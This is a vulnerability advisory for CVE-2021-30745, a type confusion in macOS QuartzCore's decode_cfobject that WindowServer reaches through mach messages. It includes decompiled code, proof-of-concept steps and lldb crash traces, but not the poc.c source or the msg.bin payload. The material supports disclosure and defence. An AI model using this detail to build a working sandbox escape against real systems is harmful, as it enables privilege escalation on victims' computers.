CVE: CVE-2021-30745
Tested Versions:
- macOS Catalina 10.15.5 (19F101)
Product URL(s):
Description of the vulnerability
This vulnerability exists in QuartzCore Framework, which is used by _windowserver
process that allows other applications to interact with OS by mach message that allows attacker can bypass sandbox to get system privilege on the victim’s computer.
_windowserver
is a process run as higher privilege act as a server to receive any messages from other applications and handle some system privilege actions for them.
QuartzCore is a Framework that allows users to do anything about animation, image processing, and drawing in _windowserver
process.
Communication with _windowserver
, the application must use mach message to send data to it.
The vulnerability exists in CA::Render::decode_commands
.
while ( 2 )
{
v8 = v7;
v9 = v2;
v10 = CA::Render::Decoder::decode_int8(v2);
v11 = v10;
LOBYTE(v7) = 1;
switch ( v10 ){
...
case 9:
v30 = CFStringGetTypeID(v3, v7);
v31 = (const __CFString *)CA::Render::Decoder::decode_cfobject(v3, v30);
if ( !(*((_BYTE *)v3 + 10) & 1) )
{
v7 = (__int64)v31;
v8 = COERCE_DOUBLE(CA::Render::Context::set_client_annotation((CA::Render::Context *)v6, v31));
LABEL_60:
v9 = v10;
LABEL_61:
}
The problem is CA::Render trying to decode opcode 9 command which trigger another decode action CA::Render::Decoder::decode_cfobject
case 9:
lVar9 = 0;
*(long *)((long)&local_38 + lVar4) = 0x1d278f;
cg_image = decode_object(this,0,*(undefined *)((long)&local_38 + lVar4));
if (cg_image == 0) goto LAB_001d282a;
*(long *)((long)&local_38 + lVar4) = 0x1d27a3;
lVar9 = copy_cgimage(cg_image,*(undefined *)((long)&local_38 + lVar4));
*(long *)((long)&local_38 + lVar4) = 0x1d27ae;
unref(cg_image,*(undefined *)((long)&local_38 + lVar4));
break;
If cfobject decodes is CGImage
, CA::Render::Decoder::decode_cfobject
will call CA::Render::Decoder::decode_object
to decode binary form of this cfobject.
As we can see the above decompiled code after call CA::Render::Decoder::decode_cfobject
the code only checks cg_image
to null
, but it does not validate cg_image
object type.
Attacker can control what object to be decoded by CA::Render::Decoder::decode_object
, and as a result it leads to Type Confusion.
Proof Of Concept
$ ps aux | grep _windowserver
_windowserver 284 5.8 0.4 9690784 70756 ?? Ss 18Jun20 402:26.17 /System/Library/PrivateFrameworks/SkyLight.framework/Resources/WindowServer -daemon
$ sudo lldb
(lldb) attach -p 284
# switch to other terminal
$ clang poc.c -o poc && ./poc ./msg.bin
# wait a few seconds _windowserver will crash
(lldb) attach 284
Target 0: (WindowServer) stopped.
(lldb)
RAX: 0xE2CA0B29816000D3 RBX: 0x000070000F1F6CE0 RBP: 0x000070000F1F2C90 RSP: 0x000070000F1F2C20 o d I t S z a p c
RDI: 0x00007F9353205FC0 RSI: 0x0000000000009503 RDX: 0x0000000000000001 RCX: 0x0000000000000002
RIP: 0x00007FFF4559BDF2 R8 : 0x000000000000A768 R9 : 0x00007F9353205FC0 R10: 0x00000000FFFFFEFF
R11: 0x0000000000000202 R12: 0x000000000006B897 R13: 0x000000000006B897 R14: 0x0000000000000005
R15: 0x000000000006B897
CS : 002B GS : 0000 FS : 0000
0x7fff4559bdf2 (0x115df2): 48 3b 45 d0 cmp rax, qword ptr [rbp - 0x30]
0x7fff4559bdf6 (0x115df6): 0f 85 45 01 00 00 jne 0x7fff4559bf41 ; <+497>
0x7fff4559bdfc (0x115dfc): 48 83 c4 48 add rsp, 0x48
0x7fff4559be00 (0x115e00): 5b pop rbx
0x7fff4559be01 (0x115e01): 41 5c pop r12
0x7fff4559be03 (0x115e03): 41 5d pop r13
0x7fff4559be05 (0x115e05): 41 5e pop r14
0x7fff4559be07 (0x115e07): 41 5f pop r15
Process 284 stopped
* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = EXC_BAD_ACCESS (code=1, address=0x3000000003)
frame #0: 0x00007fff39e1eff7 CoreGraphics`ERROR_CGDataProviderCreateWithData_BufferIsNotReadable + 39
Target 0: (WindowServer) stopped.
(lldbinit) bt
* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = EXC_BAD_ACCESS (code=1, address=0x3000000003)
* frame #0: 0x00007fff39e1eff7 CoreGraphics`ERROR_CGDataProviderCreateWithData_BufferIsNotReadable + 39
frame #1: 0x00007fff39e1ef8e CoreGraphics`CGDataProviderCreateWithData + 83
frame #2: 0x00007fff45559eb8 QuartzCore`CA::Render::Image::copy_cgimage() const + 202
frame #3: 0x00007fff456587a3 QuartzCore`CA::Render::Decoder::decode_cfobject(unsigned long) + 763
frame #4: 0x00007fff45659b6b QuartzCore`CA::Render::decode_commands(CA::Render::Decoder*) + 622
frame #5: 0x00007fff45609850 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream() + 776
frame #6: 0x00007fff454d132c QuartzCore`CA::Render::Server::server_thread(void*) + 1438
frame #7: 0x00007fff454d0d87 QuartzCore`thread_fun(void*) + 25
frame #8: 0x00007fff73a2b109 libsystem_pthread.dylib`_pthread_start + 148
frame #9: 0x00007fff73a26b8b libsystem_pthread.dylib`thread_start + 15
Suggested Mitigations
- Do not run any untrusted application.
- Update to newest macOS if Apple releases the patch.
Timeline
- 2020-12-18 - Vulnerability reported to vendor
- 2021-05-20 - Coordinated public release of advisory
- 2021-05-20 - Advisory Updated